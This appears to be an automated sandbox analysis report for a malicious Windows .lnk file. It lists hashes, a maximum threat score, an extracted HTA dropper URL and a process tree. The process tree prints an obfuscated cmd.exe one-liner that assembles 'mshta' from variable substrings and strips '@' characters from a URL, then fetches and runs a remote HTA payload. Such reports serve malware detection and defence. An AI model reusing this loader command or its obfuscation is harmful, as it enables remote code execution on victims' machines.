Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:32

General

  • Target
    DOC-ZK99TK.lnk
  • Size 2KB
  • Sample260804-kfj2savhlb
  • SHA256 d356a6d1ad524c539fcf132c4527cd5aec967b08278367aa6ec11c562fe8d5b3
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZK99TK.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1216
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set fD=infhxgwaufcmkajocjfinf&&set Sxg=dpjmsq&&set RyNm=jhmf&&set nTyDg=tta7x4&&set KZUY=datqoqamrsqkdkltydat&&set nicF=logfjycapkzktudeeatlog&&set uYrz=syszuvrwlgjreqfajacsys&&set FuoYl=cfgremkpsxjcfg&&set HC=netafqcnet&&set VTYID=oldaalaaaorwkzifigqkold&&set nY=bakabsmxfnttbak&&set QpQnB=l05stao&&set Ak=7rl7&&set lk=3wzt1&&set GgRU=sysuunlkgmmtlxahcsys&&set DHFN=baksxdwzgecmgunvntvlbak&&set jtRrQ=cacheoloyeqpxxqpcache&&set tQ=logmzzlodxsdjdbmhahmlog&&set WeEoB=ht@tps@://ma-p@d@ffil@le@[email protected]@t/h@/@es@[email protected]@h@p?r=391@4@69FB5D82DB&&start /b !Sxg:~3,2!!RyNm:~1,1!!nTyDg:~1,2! !WeEoB:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4288
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4272

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads